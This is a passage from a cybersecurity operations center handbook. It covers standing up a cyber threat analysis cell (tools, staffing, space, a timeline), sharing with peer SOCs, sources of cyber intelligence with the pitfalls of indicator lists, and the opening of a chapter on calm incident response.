executive “champion” for SOC causes. ‚Consider investments that have a very shallow cost increase when scaling out a solu - tion, such as network sensors that leverage FOSS software and commodity server hardware. The CTAC’s thirst for robust logging and monitoring may trigger second-order impacts on systems belonging to other IT stakeholders. The CTAC will likely need high-volume data feeds from firewalls, email gateways, Web proxies, Windows Domain Controller/Active Directory, and DNS systems. If these systems are antiquated or nearing their Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center233 performance limits, the addition of robust logging may enhance justification for a much- needed upgrade, even though commonsense logging practices don’t necessarily cause a substantial increase in system load. These impacts should be recognized and accounted for in advance, even though the SOC is usually not the appropriate party to bear any result - ing financial burden. This is especially important if such systems are provided through outsourced, performance, or service-based contracting, meaning enhanced logging may require contract modification or transfer of additional funds. 11.5.2 A nalysis Environment One of the most important new tool investments needed to operate a CTAC is the hardware and software used to support malware analysis and digital media forensics. While the SOC may choose to process the bulk of its digital forensic artifacts on its existing enclave network, the CTAC should conduct malware analysis on robust workstations disconnected (e.g., “air gapped”) from other enterprise networks. This is done primarily to preclude the inadvertent spread of malware to other SOC or enterprise systems. That said, it is increas - ingly important that runtime analysis systems can also be connected to the Internet through a “dirty” connection not attributed or connected to the main corporate network. This is necessary in situations where gathering second-stage malware is desired. Being able to easily enable and disable Internet connectivity from runtime analysis systems is a good design goal for the analysis environment. The CTAC’s runtime malware analysis capability most prominently features a series of well-instrumented victim platforms hosted inside a virtualization environment. This is often achieved using a commercial or open source malware sandboxing and analy - sis platform, such as FireEye AX [248], ThreatTrack ThreatAnalyzer [80] , or Cuckoo Sandbox [249] . Automated sandboxing tools will only take the analyst so far. Manual runtime analy - sis is sometimes needed, such as in cases where human interaction is required to trigger malware behavior, malware sleeps for a long time, malware will not run in a virtualized environment, or malware does not consistently execute. Also, analysts must often simulate both the attacker’s command and control servers as well as the victim systems, mean-ing additional hardware and software investments are needed. For instance, gleaning the beaconing addresses used by a first-stage piece of malware is relatively straightforward, given a single copy of VMware Workstation [250], Microsoft Windows [251] , Sysinternals tools [252], and Inetsim [253] . Fully understanding a RAT’s command and control is more involved, though there are some frameworks such as ChopShop that can help [254] . The CTAC’s static malware analysis capability should include myriad tools used to unpack, disassemble, decompile, trace, and analyze malware samples. Quintessential tools 234 for this are IDA Pro [255], WinDbg [256] , and OllyDbg [257] . These are just the start; vari - ous other tools, utilities, and scripts should support: ‚Windows Portable Executable (PE) header analysis ‚Executable unpacking ‚AV scanning (utilizing multiple engines to reduce false negatives) ‚Document and metadata analysis tools covering formats such as PDF, RTF, and Microsoft Office ‚Scripting and runtime analysis tools covering languages such as Java, JavaScript, and Flash. It is usually best to integrate all of these tools into one environment, as CTAC analysts will usually need to leverage a blend of these capabilities in order to accomplish their objectives most efficiently. Analysts may wish to have multiple virtual instances of their analysis environment available, with the ability to revert their environment to a known-good state, as is typically the case with runtime analysis. The CTAC’s digital media forensics capability must include tools that are capable of reading, storing, analyzing, and displaying the contents of digital artifacts, most notably hard drives and memory dumps pulled from systems involved in an incident. A software package capable of reading in the contents of a hard drive, analyzing, and displaying its contents is usually the focus of digital forensics work. Encase [258] and FTK [259] are examples of commonly used commercial forensics tools, though there are FOSS packages such as Sleuthkit/Autopsy [260] and SANS Sift Workstation [261] that offer compelling features. Similarly, Volatility is a well-known tool used for memory forensics work [262] . The CTAC will likely seek additional tools to fill in for specific needs, ranging from reconstruct - ing RAID arrays to ad hoc log analysis. The CTAC should also seek legal counsel in order to determine what tools and procedures are needed to perform legally sound handling of digital evidence to support potential future use in criminal, civil, or administrative pro - ceedings. For most CTACs, this includes high-grade safes, evidence bags, and write block - ers, such as those made by Tableau [263] . Some SOCs will purchase purpose-built forensics workstations such as the FRED [264] that have write blockers and mass storage built into them. It is sometimes helpful for SOCs to have portable digital evidence collection and analysis “flyaway” kits that can be taken to remote locations. This is especially the case when the team may need to travel to gather log data or memory images. In such cases, high-end laptops can be used, which will run software similar to the SOC’s stationary forensics systems “back home.” Like their station - ary counterparts, these laptops will require enhanced processing power, memory, and disk capacity.Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center235 The treatment of tools and techniques involved in digital media forensics and mal - ware analysis herein is only cursory. In order to fully scope the capabilities needed for this work, readers may consult various references on the topic, including those found here: [24], [25], [26], [27], [28], [29], [36], [37], [38], [39], [40], [265], [11]. That said, budgeting for most of these capabilities is relatively straightforward. To summarize, CTACs should account for the following in their budget: ‚Workstations capable of performing digital forensics, which may or may not double as their SOC workstations, including write blockers and expanded storage ‚Commercial-grade digital forensics packages, as mentioned ‚Workstations capable of performing static and dynamic malware analysis, includ - ing memory, processor, and storage resources necessary to run multiple concurrent virtual machines ‚Commercial-grade virtualization software, and runtime malware analysis and sand-boxing platforms, as mentioned ‚Static malware analysis tools, as mentioned ‚Operating system and software licenses sufficient to simulate computing environ - ments targeted by commonly encountered malware strains ‚Additional specialized commercial software tools that fill in for specific needs or tasks not covered above ‚Storage for long-term retention of malware and digital forensic artifacts ‚Modest networking infrastructure (network switch[es], network cable) to connect systems in the air-gapped malware analysis enclave ‚Safe transfer mechanisms, such as removable storage or controlled network interfaces, that allow controlled transfer of malware samples and analytical findings into and out of the forensic and malware analysis environments. To conclude our discussion of the analysis environment, here are some key tips to keep in mind: ‚While tools like IDA Pro, Encase, and FTK are most often mentioned, and are some of the most expensive, they’re only a start. A mature CTAC’s tool set may weigh in at more than a hundred disparate software packages, utilities, and scripts. ‚In order to meet its analysis needs, the CTAC will require new tools or tool updates quite frequently, often monthly or even daily. Some of these tools, such as those aid - ing in certain aspects of malware detection and analysis, may originate from less than reputable sources, or may be released under a FOSS license. Finding the right gov - ernance structure to manage risks and to minimize delays in updating tools will be important. 236 ‚It is very likely that some of these capabilities existed inside the SOC, at least in nascent form, prior to standup of the CTAC. With formation of the CTAC, their long-term funding and updates should be more formalized and sustainable. ‚Specific tool choices are very task-driven, and often a matter of personal experience and preference. The only people in the enterprise who are qualified to select, engi - neer, or operate these tools are in the SOC. As a result, it is often best to defer build-out of the CTAC analysis environment until at least a few members of the CTAC have joined the SOC. 11.5.3 T hreat Knowledge Management As we have discussed, the CTAC differentiates itself from other cybersecurity entities by its deep knowledge of the cyber threat. It must build up a knowledge base about the adversary over time that all members of the SOC, new and old, can directly leverage. This knowledge base should: ‚Allow analysts to draw connections between related items, allowing them to cross-reference or “pivot” among them ‚Be organized, such that old information and artifacts can be retrieved quickly ‚Be scalable, allowing the SOC to build up mass amounts of information and related contextual data over time, tracking dozens to hundreds of adversaries, hundreds of thousands of indicators, and TBs of digital artifacts ‚Support continual pruning of stale or inaccurate information ‚Allow analysts to easily refer back to original reporting for context and understanding ‚Mark information by source and sensitivity, thereby supporting any necessary con - straints on export and sharing ‚Be carefully curated by members of the CTAC, and only include information that relates to known or suspected APT activity. Different SOCs use different approaches to satisfy these needs, depending on the amount of data they wish to store and the number of analysts who will use it. Before it stands up a CTAC, it is very likely that the SOC will store digital artifacts on a SAN or NAS within the SOC enclave. In addition, the SOC may store information on particular adver - saries in a Wiki [266] , in its SIEM tool, or in some other tool, although it is likely that SOC analysts could use more time to fully populate it. Finally, if the SOC is already collecting indicators, there is a good chance it is housing them in a spreadsheet, a simple custom-built database, a SIEM, or some combination thereof. These techniques may work for the CTAC when getting started, but they don’t scale over time. Tools such as Palantir [267] support the node-link analysis, allowing analysts to “connect the dots” among related adversary activity. There are other capabilities that also Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center237 support compilation and sharing of indicators, such as FS-ISAC’s Avalanche [268], REN- ISAC’s Collective Intelligence Framework [269] , Lockheed Martin’s PalisadeTM [270], and Cyber Squared’s ThreatConnect [271] . However, as of this book’s writing, a leading set of commercial tools that meet the full scope of the CTAC’s needs of threat knowledge man - agement are still emerging. For this reason, MITRE developed an operational prototype called Collaborative Research into Threats (CRITs) [272] , with the objective of satisfying all of the knowledge management needs stated above. The cost to deploy a threat knowledge management tool is very tool-specific. It is very likely there will be a hardware cost involved for the storage needed to house all the digital artifacts, and modest server processing power to support concurrent use among SOC ana-lysts. For COTS software, there is not yet a dominant licensing model, so no general costing model can be given. Additionally, there is an ongoing labor cost associated with importing and maintaining the knowledge base within the tool. That said, this is a core activity for the CTAC, and is usually less far less expensive than manually organizing indicators and manually querying sensor data for matches against indicators. 11.5.4 R emote Incident Response Remote incident response and indicator sweeping tools are a critical enabler for hunting for the presence of the adversary on constituency systems and networks. They allow the SOC to perform such tasks as remotely imaging a system’s memory or searching for a Windows Registry setting associated with a piece of malware. This capability can be a huge boon to the CTAC, both in terms of compressing response time and performing tasks across thou - sands of hosts simultaneously. These benefits often come at a price when widely deployed; their acquisition and maintenance costs often approach those of the SOC’s five other foun - dational capabilities mentioned above. These tools, such as HBGary Responder Pro [273] , Mandiant Intelligent Response [201], and Encase Enterprise [274] , are generally meant for widespread deployment across enterprise desktops and servers. They are also tightly integrated with their target platform, meaning they will require substantial integration testing and debugging prior to wide - spread deployment or upgrades. In both of these regards, the hurdles and cost associated with deploying these tools are quite similar to those of host protection suites. As a result, some SOCs may examine and prioritize costs associated with the various host-based pro - tections at their disposal, especially with respect to scale and sustainability. Additionally, the SOC should determine whether existing IT management tools may already support some limited indicator sweeping capabilities, such as searching for suspicious file hashes. 238 11.5.5 People One of the biggest challenges to standing up and operating a CTAC is finding and retaining qualified staff. This is already a challenge for anyone managing a SOC, but acutely so for the CTAC. A CTAC may be composed of two or three analysts for a small 10- to 20-person SOC, or for a CTAC that is just getting started. On the other hand, a SOC of 50 to 75 analysts may allocate ten analysts or more just to the CTAC. Keeping all of those positions filled can be challenging in a fiercely competitive labor market, especially for SOCs that require exten - sive background checks and clearance requirements, such as those in government and some areas of industry, or for SOCs requiring work in high-cost geographic areas. CTAC work falls into roughly three or four areas of specialization, which we can use to frame the qualifications beyond those of general SOC analysts: ‚Cyber threat intel collection, fusion, and sharing; participation in sharing groups: These analysts should have the same sorts of qualification and background as a typi - cal Tier 1 or Tier 2 SOC analyst, including oral and written communication skills, analytical ability, and the ability to maintain a stream of productivity without fre - quent oversight. An analyst operating in this role for more than three to six months should be able to demonstrate substantial knowledge of adversary TTPs. Analysts who actively participate in threat-sharing groups should generally have at least 12 to 18 months of SOC experience under their belt. ‚Digital forensics (media images): These analysts should have at least one to two years of experience in SOC work, and the traits of someone who is ready for Tier 2 analy - sis. Prior use and training on forensics tools is a plus, though this can be conferred through several weeks of vendor training. ‚Digital forensics (memory images): In contrast to media forensics, analyzing memory dumps is typically far more complicated, and involves less straightforward point-click automation. Analysts performing memory forensics must have substantial formal edu - cation in computer architecture and programming. This narrows candidates almost exclusively to those with a degree in electrical engineering, computer engineering, CS, or computer forensics from an accredited college or university. In order to become proficient on forensics itself, candidates usually will have to undergo a combination of substantial self-study and formal training on forensics. ‚Malware analysis and indicator extraction: Analysts should have background and training similar to those who perform analysis of memory dumps, with additional proficiency with compilers and machine assembly. Those without formal training on computer architecture or operating system design can perform limited runtime extrac - tion of malware indicators such as beaconing, but will not be able to get very far into exploitation, static reverse engineering, or malware behavior.Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center239 There is, of course, substantial overlap among these specialties. It is encouraged for someone with a formal degree and prior SOC experience to rotate between malware analy - sis and cyber intel fusion roles. Most CTAC analysts with knowledge of the SOC’s detection tools should be able to craft signatures for those tools based on cyber intel they handle. In a similar vein, most CTAC analysts should be able to support custom tool development, using whatever languages they are familiar with appropriate to the task. Pursuing this approach allows the CTAC to quickly surge in one area or another to meet changing ops demands. The head of the CTAC should have experience in one of these CTAC roles, though this is not always possible due to the exploding demand for seasoned analysts. Having a back - ground in some areas of law enforcement, intelligence analysis, or other parts of the SOC may translate well, so long as that person is capable of becoming intimately knowledgeable about adversary TTPs. In addition, the CTAC lead should be able to translate very techni - cal concepts for non-technical audiences—critical when convincing executives that half of their business unit is impacted by a given incident, and why it’s in their best interests to cooperate with the SOC. Level-headed, critical decision making must also be emphasized—knowing when to watch and when to block. The CTAC lead should be able to focus on these tactical issues, freeing up the SOC lead to focus on ensuring overall delivery of SOC capabilities. Salaries for CTAC analysts generally range from that of a mid-level Tier 1 analyst beyond that of the most senior Tier 2 analysts. In the United States, it is very easy for a good malware analyst to find a job that pays well into the six-figure range, especially in major metropolitan areas and for SOCs that require extensive background checks or clear - ances. As with other areas of industry, pay is not necessarily a predictor of performance, however. Just as in the SOC, CTAC analysts must have ample opportunities for growth, autonomy, and recognition that their efforts make a difference. To summarize our conversation about CTAC personnel needs, here are some hiring strategies for the CTAC: 1. S elect from existing SOC staff—both when it is first formed and thereafter. Analysts who demonstrate desire and ability to learn malware analysis techniques, for instance, are good candidates for selection into a CTAC position. 2. W hen hiring from the outside, it is a good idea to integrate interview questions that emphasize problem solving, out-of-the-box thinking, and knowledge that crosses multiple disciplines. Warm-up questions like “What is the difference between TCP and UDP?” help weed out those who are clearly not qualified. On the other hand, breadth and depth of an answer to “What is your favorite [operating 240 system|network protocol|programming language] and why?” might reveal a lot about the candidate. 3. I t is best not to overemphasize most certifications or knowledge of a specific tool. Knowing how to use a specific tool can usually be taught in a matter of days; know - ing the theory behind how a tool functions, or which tool to use, takes much longer, and is usually harder to determine from a resume or a one-hour interview. 11.5.6 P hysical Space Estimating space requirements for a CTAC within a SOC is relatively straightforward. For however many people the CTAC will have once fully stood up, that’s how many additional SOC cubicles and workstations are needed. The cubicles used by the CTAC are most like those used by Tier 2 analysts, with enough room to accommodate multiple monitors, the analysts’ normal complement of workstations, potentially a malware analysis and/or foren - sics workstation, associated power and network cabling, a KVM, and a small collection of technical books. In addition, some members of the CTAC will need workspace for handling digital forensic artifacts, and hard copy of various cyber intel reporting. This space must also accommodate specialized forensics equipment, such as imagers, flyaway kits, and media safes. Ideally, each section of the SOC (including the CTAC) will have its own clustered work - space. This may work to the SOC’s advantage when standing up a CTAC; there may not be room near the SOC, meaning the CTAC will have to find a temporary room somewhere else in the same building as the SOC. Locating the CTAC more than a 5- or 10-minute walk from the SOC is not advised, because it will lead to isolation and discontinuity between people who must work together every day. Long term, the CTAC should be collocated with the rest of the SOC. Assessing other non-personnel space needs for the CTAC is much more situation dependent. If the SOC is only able to keep a couple weeks of log data or PCAP data online, it will likely need additional physical rack space for servers and storage supporting the need for long-term historical query. Additional sensor equipment is also a major user of space, especially at remote locations. Finally, the SOC should plan for space to host an air-gapped lab capable of supporting malware analysis activities, if it doesn’t already have one. 11.6 H ow Do We Get Started? Creating a CTAC follows many of the same steps and timeframe as standing up a SOC (discussed in Appendix B ), albeit in a somewhat compressed manner. Ideally, most of the groundwork for a CTAC already has been laid. External executive-level support for expan - sion of the SOC’s roles and budget is typically necessary to stand up a CTAC. Common Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center241 practices such as watching adversaries in situ , trading indicators of compromise, and deto - nating malware may be unsettling to some stakeholders. If enabling tools or logging aren’t in place, substantial engineering support will probably be needed. Any question that garnered a “No” from Section 11.4 should be dealt with in the first 12 to 18 months of the CTAC’s existence. For this reason, SOCs that are less than 12 to 24 months old are advised against attempting to stand up a CTAC. The complexities of the SOC’s tool suite, personnel, and governance structure are such that standing up a CTAC will likely stretch a young SOC’s resources too thin, or depend upon capabilities that don’t yet exist. The following sections break down the different actions that will need to be accom- plished in order to stand up a CTAC, assuming few or no existing CTAC capabilities are in place. While milestones and timelines can be adjusted, we offer an initial roadmap in terms of both priorities and sequencing. 11.6.1 L aying the Foundation: Month 0 and Prior In this phase, our objectives are to establish the conditions under which a CTAC can achieve success. For some SOCs, this can take as little as a few months; for others it may take several years to lay the groundwork. Tasks include: ‚Solicit support from upper management and executives. ‚Secure funding for additions to SOC tools and personnel. ‚Place initial space reservation for the CTAC. ‚Ensure that most prerequisites in Section 11.4 have been met. ‚Identify and draft any necessary governance and authorities to support major capa-bilities of the CTAC. ‚Draft new organizational structure for the SOC reflecting the addition of the CTAC. 11.6.2 B uild-out: 0 to 6 Months In this phase, we begin constructing the CTAC, leveraging existing SOC personnel. Tasks include: ‚Socialize, finalize, and receive approval for governance and authorities needed to sup - port essential elements of CTAC operations. ‚Identify existing resources (e.g., tools and analysts), that can be moved into the CTAC. ‚Begin acquisition and engineering efforts for major CTAC tool needs. ‚Perform bulk of hiring to support CTAC—either bringing analysts directly into the CTAC, or backfilling positions vacated by analysts who will move into the CTAC. ‚Contract and execute facility build-out for CTAC workspace. 242 11.6.3 I nitial Operations: 6 to 12 Months In this phase, we can begin practicing the functions of CTAC. In its beginning, the CTAC will begin processing malware and cyber intel without much external impact. However, we should see the CTAC become its own entity with its own ops tempo and distinct identity. Tasks and milestones include: ‚Formal establishment of the CTAC ‚Authoring major CTAC SOPs ‚Deployment and configuration of CTAC tool sets and analysis environment ‚Beginning initial analysis duties and deliverables ‚Beginning to collect open source intelligence and reaching out to other SOCs for indi - cator and intel sharing ‚By the end of this phase, actively participating in threat-sharing groups and publish - ing some work product for consumption by trusted external parties ‚Standup of a threat knowledge management tool or system, even if in an initial or prototype capacity. ‚By the end of this phase, having at least 50 percent of the CTAC team onboard ‚Starting to identify gaps in detection, response, and prevention capabilities, particu - larly additional or more detailed logging of key event types. 11.6.4 S ustained Capability: 12 to 18 Months In the next phase of standup, our objective is to assume the full spectrum of capabilities initially planned for the CTAC. Tasks and milestones include: ‚Finalize CTAC SOPs. ‚At least 75 percent of CTAC members are onboard, and most other SOC positions vacated by moves to the CTAC are backfilled. ‚Most core CTAC tools, such as forensics and malware analysis systems, are fully operational. ‚Processing malware and cyber intel is a routine duty performed by multiple staff members. ‚Aspects of malware analysis and cyber intel fusion ripe for automation are identified; analysts begin automating “low-hanging fruit.” ‚CTAC members are able to identify remaining gaps in foundational SOC tools that impact their mission, and are working with other SOC staff and engineers to plan how those gaps will be closed. ‚A long-term solution for threat knowledge management is being built, if not already in place.Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center243 11.6.5 L ong-Term Operations: 18+ Months In the most mature phase of operations, we should to see the CTAC provide substantial return on investment. Milestones and major activities include: ‚Regular threat briefings to cybersecurity stakeholders and executives become the norm. ‚As TTPs and tools mature, the rate at which the CTAC is able to process malware samples and cyber intel, and scan for hits on threat indictors increases substantially. ‚CTAC observations on adversary TTPs substantially influence incident response activities; “block/reformat/reinstall” is no longer an automatic response to all mal - ware hits. ‚The CTAC begins contemplating more in-depth adversary engagements, such as hon - eypotting, “fishbowl” architectures, and focused monitoring in situ. ‚Resourcing and budgetary impacts related to CTAC operations and requirements sta-bilize to the point where they can be planned for in coming years. ‚Every section of the SOC that performs monitoring or analysis duties uses the threat knowledge management tool during their daily routine. There are a couple points worth noting. First, this timetable gives equal priority to cyber intel analysis and malware analysis functions; it is very likely that one capability will lead the other, depending on what capabilities existed prior to CTAC standup. Second, these timetables are notional. It may take some CTACs as few as 12 to 18 months to stand up, whereas others may still struggle after the three-year mark. Nothing changes over - night, and getting into a consistent operations tempo and rhythm generally takes years no matter how talented the SOC’s analysts are. 11.7 Peering One of the best things a SOC can do to get ahead in the world is to make friends with other SOCs. These relationships are typically initiated through mutual membership in industry or professional associations, geographic proximity, voluntary membership in a SOC asso - ciation such as Forum for Incident Response and Security Teams (FIRST) [275] or various Information Sharing and Analysis Centers (ISACs) [276] , conference attendance, or through a national SOC organization. Collaboration is not something that can be mandated or ordered by a coordinating SOC; rather it is built upon direct analyst-to-analyst communica-tion, mutual respect, and a quid-pro-quo attitude—all of which may take months and years to flourish. SOCs have a lot to offer one another, including: ‚“Heads up” on recently observed anomalous and malicious activity 244 ‚Useful defender TTPs and CONOPS ‚Cyber observables, indicators of compromise, adversary TTPs, and incident tips ‚IDS and SIEM signatures, content, and use cases ‚Custom tools and scripts. Consider, for instance, a situation where a SOC compiles a large amount of cyber intel into a list of IDS signatures or SIEM content. This process may take months or years of analyst work and is an ongoing effort. By pooling these signatures and sharing processed cyber intel with other SOCs, many participants stand to save a tremendous amount of time, while simultaneously instrumenting their systems against a much wider set of threats. More important, collaboration between SOCs builds a sense of partnership and belong - ing that the SOC is unlikely to get from its own constituency. As we discussed in Section 5.2, a SOC is likely to feel isolated. Through collaboration with other SOCs, it is likely to find validation in its challenges and hints for future success. Also, through collaboration and sharing, a SOC is better able to gauge its competency and maturity, especially when it is subject to external audit or scrutiny. If there is anything a SOC can do to get ahead for free, it very well may be contact and frequent collaboration with its peers. For more information on inter-SOC information sharing, see Chapter 6 of [15] and [277] . 11.8 W here to Get Cyber Intel and What to Do with It World-class SOCs have at their disposal a virtual river of cyber intel. Not all cyber intel is created equal, and SOCs must be careful about what cyber intel to favor in driving updates to monitoring and analytics. Good cyber intel is: ‚Timely , often describing events that happened only minutes, hours, or days ago ‚Relevant to the recipients’ environment and threats ‚Accurate , which is to say its content correctly describes what happened ‚Specific about the incident, observable, or adversary it describes ‚Actionable , such that the recipient can do something constructive with it. Some of the best cyber intel a SOC can get is from other peer SOCs with which it has a direct, personal, trusted relationship. In such cases, the recipients are well aware of the quality of the material they are getting and are likely to get it very quickly, and the intel is likely subject to minimal redaction as there was no intermediary to “water down” its content. That said, direct relationships are built up over time, and fledgling SOCs often must first go to open sources to get started, such as various organizations that publish material on the Internet. These sources are large in number, voluminous in content, and overlap Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center245 very frequently. However, there is no “standard” list of cyber news and cyber intelligence sources. Therefore, to get readers started, here is a list of links that a SOC may find useful to visit on a regular basis:Internet health: ‚ISC: http:// www.isc.org ‚NetCraft: http://news.netcraft.com/ ‚US-CERT: http:/ /www.US-Cert.gov General technology and security trends: ‚Schneier on Security Blog: http://www.schneier.com/ ‚Krebs on Security: http://krebsonsecurity.com/ ‚Security Dark Reading: http://www.darkreading.com / ‚Slashdot: http://slashdot.org ‚Engadget: http://www.engadget.net ‚Securosis: https://securosis.com/blog Threat intelligence: ‚Microsoft Security Intelligence Report: http://www.microsoft.com/security/sir/default.aspx ‚Team Cymru (also has subscription service): www.team-cymru.org ‚FBI Cybercrime information: http://www.fbi.gov/about-us/investigate/cyber/cyber Malware and threats: ‚Threat Expert: http://threatexpert.com ‚Microsoft Malware Protection Center: http://www.microsoft.com/security/portal/default.aspx ‚SANS Internet Storm Center: http://Isc.sans.edu ‚Symantec Threat Explorer: http://www.symantec.com/norton/security_response/threatexplorer/index.jsp ‚Symantec Internet Threat Report: http://www.symantec.com/business/theme.jsp?themeid=threatreport ‚McAfee Threat Center: http://www.mcafee.com/us/threat_center/ ‚Metasploit Blog: https://community.rapid7.com/community/metasploit?view=blog ‚Security Focus: http://www.securityfocus.com/ ‚Dshield: http://www.dshield.org/ ‚Offensive Security’s Exploit Database: http://www.exploit-db.com/ ‚Worldwide Observatory of Malicious Behaviors and Attack Threats (WOMBAT): http://wombat-project.eu/ 246 ‚Symantec’s Worldwide Intelligence Network Environment (WINE): http:/ /www. symantec.com/about/profile/universityresearch/sharing.jsp ‚Mandiant M-Trends: https://www.mandiant.com/resources/mandiant-reports/ Bad domains, IP addresses, and other indicators: ‚Malware Domain Blocklist: http:/ /www.malwaredomains.com/ ‚Malware Domain List: http:/ /www.malwaredomainlist.com/ ‚Unspam Technologies Project Honeypot: http://www.projecthoneypot.org/index.php ‚EXPOSURE (Exposing Malicious Domains): http://exposure.iseclab.org/ ‚Shadowserver Foundation: http://www.shadowserver.org/wiki/ ‚Any of the other sources listed on page 13 of [235] Automatic threat analyzers: ‚Anubis (Analyzing Unknown Binaries): http://anubis.iseclab.org/ ‚Virustotal: http:/ /www.virustotal.com/ ‚Metascan online: http:/ /www.metascan-online.com/ Threats with signatures: ‚IBM ISS X-Force: http://xforce.iss.net ‚BotHunter Internet Distribution Page: http://www.bothunter.net/ ‚Latest Snort publicly available Snort rules (most recent rules require subscription): http://www.snort.org/snort-rules/ ‚Emerging Threats signature list: http://www.emergingthreats.net/ ‚Latest Tenable Nessus plugins (requires subscription): http://www.nessus.org/plugins/ Patches and vulnerabilities: ‚MITRE’s CVE: http://cve.mitre.org ‚NIST’s National Vulnerability Database: http://nvd.nist.gov/ ‚US-CERT Technical Cyber Security Alerts: http://www.us-cert.gov/cas/techalerts ‚Microsoft Security TechCenter: http://technet.microsoft.com/en-us/security/default.aspx ‚Whatever other vendor software is commonly used within the constituency. In addition to these open sources, some SOCs leverage commercial feeds of cyber intel such as Bit9 [278], CrowdStrike [279] , iDefense [280], and Symantec DeepSight [281]. Finally, SOCs can share information on a pairwise or group basis, leveraging STIX (Structured Threat Information Sharing) framework, TAXII (Trusted Automated eXchange of Indicator Information) protocols and services, and CybOX (Cyber Observables eXpres - sion) language [282] .Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center247 On the basis of the variety of cyber intel and news it consumes and its capabilities, the SOC has a number of options for synthesis and redistribution both internally and externally: ‚Critical patch notices to the constituency ‚Daily, weekly, or monthly cybersecurity newsletters or digests ‚Signature tuning and signature updates ‚Custom IDS signatures ‚Custom SIEM content ‚Ad hoc, targeted, or short-term analysis taskings to Tier 1 or Tier 2 analysts ‚Redistribution, perhaps in a common machine-readable format, to other SOCs ‚Tactical or strategic threat assessments of adversary TTPs. Most established SOCs will publish some kind of regular cybersecurity newsletter or digest to cybersecurity stakeholders in the constituency. While this function may obligate a quarter- or half-staff FTE, it gives the SOC “good press” and ensures the SOC is keeping up with the news. More important, however, it demonstrates to the constituency that the SOC is the go-to shop for cyber SA. When looking at any kind of custom IDS signatures or SIEM content, the SOC has a number of indicators to scrape from bad domain lists and incident reporting. These may include: ‚IP addresses ‚Domain names ‚Network traffic content ‚Email addresses ‚User names ‚File names ‚File hashes. When these indicators trigger a signature hit on an IDS alert or audit data feed (such as Web proxy or firewall logs), it could indicate a couple of things, depending on which stage of the cyber attack life cycle is of interest. The bad IP addresses and domain names are often used to indicate RATs, malware beaconing, botnet command and control, or data exfiltration. Triggering on a file name or file hash, especially on an email attachment, might indicate a phishing attack from a known adversary or some other known piece of malware. The point is that the response actions would be very dif - ferent, depending on the type of indicator that was matched. So the first thing that SOC analysts must understand before feeding indicators into their data analytics is what to do when they fire. 248 The SOC should, however, be cautious when scraping indicators. Cyber intel authors sometimes put disclaimers in their reports, saying something to the effect of “do not block activity based on these indicators.” They may or may not articulate their reasons for doing so, but it is important for the receiving SOC not to break the trust of the origi - nating SOC in using those indicators to set up blocks. It is often better to use collected cyber intel for passive monitoring. Second, scraping entire lists such as malware domain block lists is tempting but can be error prone for the following reasons: ‚The domains are likely to be very short-lived, such as the case with fast-flux networks [283] and, therefore, might be useless by the time they are detected. The SOC must remain vigilant to keep its bad indicator lists up-to-date, carefully aging off indicators that are no longer likely to be seen. This can have benefits from a performance perspective, as well as minimizing false positives. ‚In a list of 100,000 or more indicators, there may not be any differentiation between high- and low-priority items. If a sensor hits on any one of them, is that cause for serious concern? The SOC may want to be choosy in what sources it uses. ‚Some indicators such as file names are very prone to false positives due to the lack of uniqueness of the name (e.g., don’t alert every time report.doc is seen in an email attachment). On the other hand, others may never alert (e.g., file hashes) because they change very often and, in some cases, are computation - ally expensive to use. ‚Because of the trend toward third-party hosting services and cloud computing, it is sometimes very ambiguous whether a given IP address or domain is “bad” or not. A given Web-hosting company may have a dozen “bad” domains mixed in a subnet with a thousand other websites. Alerting (or blocking) the entire subnet just for a few bad domains doesn’t always make sense. Also, a given website may be hosted in five different places. Does an indicator match against only one host - ing location or all five? ‚When looking at human-readable, narrative-style cyber intelligence reports and incident reporting, there may be victim indicators such as IP addresses men-tioned, as well as the attacker indicators. This makes automated harvesting of indicators problematic because the good indicators could easily be swept up with the bad (leading to low-quality indicator databases and false positives down the line). ‚There is often tremendous overlap between many indicator lists, depending on their source. SOCs leveraging multiple sources should be careful to deduplicate indicator lists before using them to instrument monitoring systems.Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center249 In short, leveraging indicator lists when instrumenting automated analytic engines (such as the SIEM) demonstrates many of the same problems and pitfalls as anything else that is signature based. We must be very careful to maximize our true positive rate while minimizing false positives. As a result, some SOCs choose to harvest indicators only from detailed security incident reports authored by other SOCs with which they have a trusted relationship. This allows the SOC to make informed decisions about the severity and criti - cality of the associated intrusion activity at the time it harvests the indicators. However, this approach is highly dependent upon having a large pool of recent reports from partner SOCs, and the analyst cycles to process them. 250Chapter 12 Stra tegy 10: Stop. Think. Respond . . . Calmly In a given year, SOCs will track hundreds or even thousands of cases, vul - nerabilities, and threats. In each instance, the SOC must render a response that is appropriate, given the criticality of the situation. As a result, the majority of our incident handling should be routine and not cause for an emergency. In our tenth and last strategy, we examine techniques for addressing incidents in a professional, trustworthy, and effective manner. Accordingly, we discuss how to track incidents from cradle to grave. 12.1 P rofessional Incident Response When there is a major incident, all eyes are on the SOC. If it has followed the guidance laid out in the previous sections of this book, most aspects of incident handling should come naturally. The SOC should have the follow - ing in place: ‚A workforce with strong technical, analytic, and communication skills ‚CONOPS, SOPs, and escalation procedures that guide the SOC’s actions ‚Means to coordinate analysis and response activity among members of the SOC ‚Established POCs with whom to coordinate response actions ‚Established and ad hoc log, PCAP, and live system image data col - lection and analysis tools sufficient to help establish the facts about incidents T en Strategies of a World-Class Cybersecurity Operations Center251 ‚The authorities to enact swift and decisive response actions when called for and pas - sive observation or incident de-escalation when they are not. We must ensure our incident response is efficient, effective, relevant, and complete. Failure to do so could undermine the SOC mission, which is to limit damage, assess impact, and render a durable response. Let’s consider some dos and don’ts when we think the SOC has found something bad: ‚Follow your SOPs. No two incidents are exactly the same, and some are more complex than others. That said, most incident handling should be routine—easily handled by one or two 